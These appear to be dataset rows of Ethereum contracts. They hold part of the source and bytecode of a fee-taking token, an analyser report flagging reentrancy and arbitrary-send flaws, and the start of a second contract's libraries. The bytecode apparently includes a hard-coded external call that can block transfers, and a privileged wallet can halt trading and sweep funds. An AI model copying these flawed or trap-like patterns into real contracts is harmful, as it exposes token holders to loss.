_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea57806351bc3c851461021557806356d9dce81461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b60405161012591906126a5565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121f5565b6103e4565b604051610162919061268a565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612847565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121a2565b610426565b6040516101ca919061268a565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c91906128bc565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a7c565b005b34801561024f57600080fd5b5061026a60048036038101906102659190612108565b610b64565b6040516102779190612847565b60405180910390f35b34801561028c57600080fd5b50610295610bb5565b005b3480156102a357600080fd5b506102ac610d08565b6040516102b991906125bc565b60405180910390f35b3480156102ce57600080fd5b506102d7610d31565b6040516102e491906126a5565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f9190612262565b610d6e565b005b34801561032257600080fd5b5061033d600480360381019061033891906121f5565b610de6565b60405161034a919061268a565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612162565b610e04565b6040516103879190612847565b60405180910390f35b34801561039c57600080fd5b506103a5610e8b565b005b60606040518060400160405280600d81526020017f596f7520446f6e27742053617900000000000000000000000000000000000000815250905090565b60006103f86103f1610f47565b8484610f4f565b6001905092915050565b60006006600a6104129190612a06565b6308f0d1806104219190612b24565b905090565b600061043384848461111a565b6104f48461043f610f47565b6104ef8560405180606001604052806028815260200161306760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116349092919063ffffffff16565b610f4f565b600190509392505050565b610507610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612727565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e59190612a06565b6308f0d1806105f49190612b24565b610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612135565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190612135565b6040518363ffffffff1660e01b81526004016107729291906125d7565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190612135565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b64565b600080610858610d08565b426040518863ffffffff1660e01b815260040161087a96959493929190612629565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906122bc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a4929190612600565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612235565b50565b60006006905090565b610a0a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6000610a6e30610b64565b9050610a7981611698565b50565b610a84610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add57600080fd5b600c60149054906101000a900460ff16610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612827565b60405180910390fd5b6000600c60166101000a81548160ff0219169083151502179055506000600c60146101000a81548160ff021916908315150217905550565b6000610bae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611920565b9050919050565b610bbd610f47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c41906127a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5944530000000000000000000000000000000000000000000000000000000000815250905090565b610d76610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf57600080fd5b60048110610ddc57600080fd5b8060088190555050565b6000610dfa610df3610f47565b848461111a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e93610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec57600080fd5b6000479050610efa8161198e565b50565b6000610f3f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fa565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690612807565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612707565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190612847565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906127e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906126c7565b60405180910390fd5b6000811161123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906127c7565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b815260040161128a91906125bc565b60206040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112da919061228f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113855750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b611390576000611392565b815b111561139d57600080fd5b6113a5610d08565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141357506113e3610d08565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561162457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114c35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115195750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561156357600a548110611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612767565b60405180910390fd5b5b600061156e30610b64565b9050600c60159054906101000a900460ff161580156115db5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115f35750600c60169054906101000a900460ff165b156116225761160181611698565b6000479050670de0b6b3a76400008111156116205761161f4761198e565b5b505b505b61162f838383611a5d565b505050565b600083831115829061167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167391906126a5565b60405180910390fd5b506000838561168b9190612b7e565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d0576116cf612cd9565b5b6040519080825280602002602001820160405280156116fe5781602001602082028036833780820191505090505b509050308160008151811061171657611715612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b857600080fd5b505afa1580156117cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f09190612135565b8160018151811061180457611803612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186b30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cf959493929190612862565b600060405180830381600087803b1580156118e957600080fd5b505af11580156118fd573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600554821115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e906126e7565b60405180910390fd5b6000611971611a6d565b90506119868184610efd90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119f6573d6000803e3d6000fd5b5050565b60008083118290611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3891906126a5565b60405180910390fd5b5060008385611a509190612982565b9050809150509392505050565b611a68838383611a98565b505050565b6000806000611a7a611c63565b91509150611a918183610efd90919063ffffffff16565b9250505090565b600080600080600080611aaa87611cfe565b955095509550955095509550611b0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611be981611e0e565b611bf38483611ecb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c509190612847565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611c7d9190612a06565b6308f0d180611c8c9190612b24565b9050611cbf6006600a611c9f9190612a06565b6308f0d180611cae9190612b24565b600554610efd90919063ffffffff16565b821015611cf1576005546006600a611cd79190612a06565b6308f0d180611ce69190612b24565b935093505050611cfa565b81819350935050505b9091565b6000806000806000806000806000611d1b8a600754600854611f05565b9250925092506000611d2b611a6d565b90506000806000611d3e8e878787611f9b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611da883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611634565b905092915050565b6000808284611dbf919061292c565b905083811015611e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfb90612747565b60405180910390fd5b8091505092915050565b6000611e18611a6d565b90506000611e2f828461202490919063ffffffff16565b9050611e8381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ee082600554611d6690919063ffffffff16565b600581905550611efb81600654611db090919063ffffffff16565b6006819055505050565b600080600080611f316064611f23888a61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f5b6064611f4d888b61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f8482611f76858c611d6690919063ffffffff16565b611d6690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611fb4858961202490919063ffffffff16565b90506000611fcb868961202490919063ffffffff16565b90506000611fe2878961202490919063ffffffff16565b9050600061200b82611ffd8587611d6690919063ffffffff16565b611d6690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120375760009050612099565b600082846120459190612b24565b90508284826120549190612982565b14612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90612787565b60405180910390fd5b809150505b92915050565b6000813590506120ae81613021565b92915050565b6000815190506120c381613021565b92915050565b6000815190506120d881613038565b92915050565b6000813590506120ed8161304f565b92915050565b6000815190506121028161304f565b92915050565b60006020828403121561211e5761211d612d08565b5b600061212c8482850161209f565b91505092915050565b60006020828403121561214b5761214a612d08565b5b6000612159848285016120b4565b91505092915050565b6000806040838503121561217957612178612d08565b5b60006121878582860161209f565b92505060206121988582860161209f565b9150509250929050565b6000806000606084860312156121bb576121ba612d08565b5b60006121c98682870161209f565b93505060206121da8682870161209f565b92505060406121eb868287016120de565b9150509250925092565b6000806040838503121561220c5761220b612d08565b5b600061221a8582860161209f565b925050602061222b858286016120de565b9150509250929050565b60006020828403121561224b5761224a612d08565b5b6000612259848285016120c9565b91505092915050565b60006020828403121561227857612277612d08565b5b6000612286848285016120de565b91505092915050565b6000602082840312156122a5576122a4612d08565b5b60006122b3848285016120f3565b91505092915050565b6000806000606084860312156122d5576122d4612d08565b5b60006122e3868287016120f3565b93505060206122f4868287016120f3565b9250506040612305868287016120f3565b9150509250925092565b600061231b8383612327565b60208301905092915050565b61233081612bb2565b82525050565b61233f81612bb2565b82525050565b6000612350826128e7565b61235a818561290a565b9350612365836128d7565b8060005b8381101561239657815161237d888261230f565b9750612388836128fd565b925050600181019050612369565b5085935050505092915050565b6123ac81612bc4565b82525050565b6123bb81612c07565b82525050565b60006123cc826128f2565b6123d6818561291b565b93506123e6818560208601612c19565b6123ef81612d0d565b840191505092915050565b600061240760238361291b565b915061241282612d2b565b604082019050919050565b600061242a602a8361291b565b915061243582612d7a565b604082019050919050565b600061244d60228361291b565b915061245882612dc9565b604082019050919050565b600061247060178361291b565b915061247b82612e18565b602082019050919050565b6000612493601b8361291b565b915061249e82612e41565b602082019050919050565b60006124b6601a8361291b565b91506124c182612e6a565b602082019050919050565b60006124d960218361291b565b91506124e482612e93565b604082019050919050565b60006124fc60208361291b565b915061250782612ee2565b602082019050919050565b600061251f60298361291b565b915061252a82612f0b565b604082019050919050565b600061254260258361291b565b915061254d82612f5a565b604082019050919050565b600061256560248361291b565b915061257082612fa9565b604082019050919050565b6000612588601a8361291b565b915061259382612ff8565b602082019050919050565b6125a781612bf0565b82525050565b6125b681612bfa565b82525050565b60006020820190506125d16000830184612336565b92915050565b60006040820190506125ec6000830185612336565b6125f96020830184612336565b9392505050565b60006040820190506126156000830185612336565b612622602083018461259e565b9392505050565b600060c08201905061263e6000830189612336565b61264b602083018861259e565b61265860408301876123b2565b61266560608301866123b2565b6126726080830185612336565b61267f60a083018461259e565b979650505050505050565b600060208201905061269f60008301846123a3565b92915050565b600060208201905081810360008301526126bf81846123c1565b905092915050565b600060208201905081810360008301526126e0816123fa565b9050919050565b600060208201905081810360008301526127008161241d565b9050919050565b6000602082019050818103600083015261272081612440565b9050919050565b6000602082019050818103600083015261274081612463565b9050919050565b6000602082019050818103600083015261276081612486565b9050919050565b60006020820190508181036000830152612780816124a9565b9050919050565b600060208201905081810360008301526127a0816124cc565b9050919050565b600060208201905081810360008301526127c0816124ef565b9050919050565b600060208201905081810360008301526127e081612512565b9050919050565b6000602082019050818103600083015261280081612535565b9050919050565b6000602082019050818103600083015261282081612558565b9050919050565b600060208201905081810360008301526128408161257b565b9050919050565b600060208201905061285c600083018461259e565b92915050565b600060a082019050612877600083018861259e565b61288460208301876123b2565b81810360408301526128968186612345565b90506128a56060830185612336565b6128b2608083018461259e565b9695505050505050565b60006020820190506128d160008301846125ad565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061293782612bf0565b915061294283612bf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561297757612976612c4c565b5b828201905092915050565b600061298d82612bf0565b915061299883612bf0565b9250826129a8576129a7612c7b565b5b828204905092915050565b6000808291508390505b60018511156129fd578086048111156129d9576129d8612c4c565b5b60018516156129e85780820291505b80810290506129f685612d1e565b94506129bd565b94509492505050565b6000612a1182612bf0565b9150612a1c83612bfa565b9250612a497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a51565b905092915050565b600082612a615760019050612b1d565b81612a6f5760009050612b1d565b8160018114612a855760028114612a8f57612abe565b6001915050612b1d565b60ff841115612aa157612aa0612c4c565b5b8360020a915084821115612ab857612ab7612c4c565b5b50612b1d565b5060208310610133831016604e8410600b8410161715612af35782820a905083811115612aee57612aed612c4c565b5b612b1d565b612b0084848460016129b3565b92509050818404811115612b1757612b16612c4c565b5b81810290505b9392505050565b6000612b2f82612bf0565b9150612b3a83612bf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7357612b72612c4c565b5b828202905092915050565b6000612b8982612bf0565b9150612b9483612bf0565b925082821015612ba757612ba6612c4c565b5b828203905092915050565b6000612bbd82612bd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c1282612bf0565b9050919050565b60005b83811015612c37578082015181840152602081019050612c1c565b83811115612c46576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74207374617274656420796574000000000000600082015250565b61302a81612bb2565b811461303557600080fd5b50565b61304181612bc4565b811461304c57600080fd5b50565b61305881612bf0565b811461306357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c84052c09fa3ddf361ec1168b6f2df230c48ac53009b113cbe6aedf94a040e164736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,920 |
0xc579c43e0bfd1f3ffc93d95ead86492e76411d8e | // SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
